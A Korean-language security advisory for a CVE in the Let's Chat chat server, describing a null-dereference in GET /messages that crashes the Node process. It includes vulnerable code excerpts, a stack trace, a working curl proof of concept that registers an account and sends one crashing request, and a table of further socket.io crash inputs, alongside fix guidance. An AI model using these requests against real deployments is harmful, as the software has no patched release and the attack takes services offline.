
보안 권고: 검증되지 않은 룸 조회로 서버 크래시 발생 (Let's Chat)
할당된 CVE ID: CVE-2026-66749
로그인한 계정에서 보낸 단 한 번의 HTTP 요청으로 Let's Chat 서버 프로세스가 종료됩니다.
GET /messages는 room 매개변수를 받아 해당 room을 id로 조회한 다음, 조회 결과가 반환되었는지 확인하지 않고 결과에 대해 메서드를 호출합니다. 어떤 room에도 속하지 않는 유효한 24자리 16진수 문자열 id를 보내면 결과적으로 TypeError가 Mongoose 콜백 내부에서 발생합니다. Express는 핸들러 내부에서 동기적으로 발생한 예외만 포착하므로, 이 예외는 포착되지 않은 예외(uncaught exception)로 Node에 도달하고 프로세스가 종료됩니다.
저장소 URL: https://github.com/sdelements/lets-chat
0.4.0(커밋 84981a6, 2015년 2월 21일, canJoin 호출이 도입된 버전)부터 최종 릴리스인 0.4.8까지 취약합니다. 수정된 버전은 존재하지 않습니다.
커밋 617207f의 0.4.8 및 여전히 공개적으로 pull 가능한 docker.io/sdelements/lets-chat:latest(0.4.7)에서 확인되었습니다.
CWE-476: NULL 포인터 역참조(NULL Pointer Dereference)로, CWE-248 Uncaught Exception 및 CWE-400 Uncontrolled Resource Consumption으로 이어집니다.
CVSS 4.0 기본 점수 7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
공격자는 일반 사용자 계정 하나와 HTTP 포트에 대한 네트워크 접근 권한만 있으면 됩니다. room을 소유하거나 속해 있을 필요도, 존재하는 room id를 알 필요도, 어떠한 상위 권한 역할을 보유할 필요도 없습니다.
기본 설치에서는 계정 요구 조건이 미미합니다. defaults.yml에서 auth.local.enableRegistration의 기본값이 true이므로, 로그인 페이지에 접근할 수 있는 사람은 누구나 계정을 만든 다음 해당 요청을 실행할 수 있습니다.
Procfile(web: npm start)이나 docker/docker-compose.yml 모두 슈퍼바이저나 재시작 정책을 구성하지 않으므로, 기본 배포 환경에서는 운영자가 서비스를 재시작할 때까지 한 번의 요청으로 서비스가 중단됩니다. 운영자가 프로세스 감독을 추가한 경우에도 공격자는 요청을 반복하기만 하면 됩니다.
이 라우트는 room 검증 미들웨어를 등록하지 않습니다. app/controllers/messages.js:25-32:
app.route('/messages')
.all(middlewares.requireLogin)
.get(function(req) {
req.io.route('messages:list');
})
.post(function(req) {
req.io.route('messages:create');
});
이와 대조적으로 app/controllers/messages.js:34-41에서는 room 범위(room-scoped) 변형이 middlewares.roomRoute를 추가하는데, 이 미들웨어는 room을 확인하고 존재하지 않으면 404를 반환합니다:
app.route('/rooms/:room/messages')
.all(middlewares.requireLogin, middlewares.roomRoute)
따라서 /messages에서는 room 값이 검증되지 않은 채 매니저에 도달합니다. app/core/messages.js:118-129:
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) { // line 129: room may be null
Model.findById는 id가 정상적으로 캐스팅되지만 일치하는 문서가 없을 때 (null, null)로 콜백합니다. if (!room) 가드가 없으므로 129번째 줄에서 null을 역참조합니다.
관찰된 출력:
events.js:174
throw er; // Unhandled 'error' event
TypeError: Cannot read property 'canJoin' of null
at /usr/src/app/app/core/messages.js:129:14
at model.Query.<anonymous> (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)
구성 변경 없이 포트 5000에서 실행되는 기본 설치를 대상으로 합니다:
BASE=http://localhost:5000
# 1. Create an account. Self registration is on by default.
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","email":"[email protected]",
"password":"Passw0rd!23","password-confirm":"Passw0rd!23",
"firstName":"M","lastName":"M","displayName":"M"}'
# 2. Log in and keep the session cookie.
curl -s -c cookie.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","password":"Passw0rd!23"}'
# 3. Ask for the messages of a room that does not exist.
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"
3단계는 응답 본문 없이 반환되며 curl은 코드 52(서버의 빈 응답)로 종료됩니다. 서버 프로세스는 사라집니다. 24개의 16진수 문자로 구성되고 어떤 room과도 일치하지 않는 id라면 모두 동일하게 동작합니다.
express.oi는 모든 app.io.route(...) 키를 단순한 socket.on(...) 핸들러로 등록합니다(node_modules/express.oi/lib/index.js의 initRoutes). 따라서 인증된 socket.io 클라이언트는 roomRoute를 포함한 Express 미들웨어 체인을 건너뛰고 이러한 핸들러를 직접 호출할 수 있습니다. 또한 Express의 try/catch도 제거되므로, HTTP에서는 500이 될 동기적 throw가 socket.io에서는 프로세스를 종료시킵니다.
다음 각각도 프로세스를 종료시킵니다. 모두 확인되었습니다.
조회 결과를 가드하십시오. app/core/messages.js:118 및 app/core/files.js:156에서:
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
if (!room) {
return cb(null, []);
}
...
app/core/rooms.js:234도 sanitizeRoom을 호출하기 전에 동일한 처리가 필요하며, app/core/rooms.js:248은 누락되었거나 문자열이 아닌 options.identifier를 거부해야 합니다.
이러한 개별 사례가 아니라 전체 결함 클래스를 해소하려면 두 가지 변경이 필요합니다. 첫째, 컨트롤러 경계에서 문자열로 가정되는 쿼리 매개변수(expand, room, id, take, skip)를 강제 변환하고 검증합니다. 둘째, socket.io 핸들러 디스패치를 try/catch로 감싸고 process.on('uncaughtException') 핸들러를 연결하여 단일 잘못된 요청이 서버를 중지시키는 대신 오류 응답으로 처리되도록 합니다.
| 접근 경로 | 입력 | 예외 발생 위치 |
|---|
| HTTP 및 socket.io | messages:list, room이 존재하지 않는 id로 설정됨 | app/core/messages.js:129 |
| HTTP 및 socket.io | files:list, room이 존재하지 않는 id로 설정됨 | app/core/files.js:167 |
| socket.io | 존재하지 않는 id 또는 id 없이 rooms:get | app/core/rooms.js:213 via :234 |
| socket.io | room 없이 rooms:users | app/core/rooms.js:248 |
| socket.io | id 없이 rooms:join | app/core/rooms.js:248 |
| socket.io | expand이 배열인 messages:list | app/core/messages.js:97 |
| socket.io | expand이 배열인 files:list | app/core/files.js:139 |
| socket.io | id가 객체인 users:get | app/core/models/user.js:139 |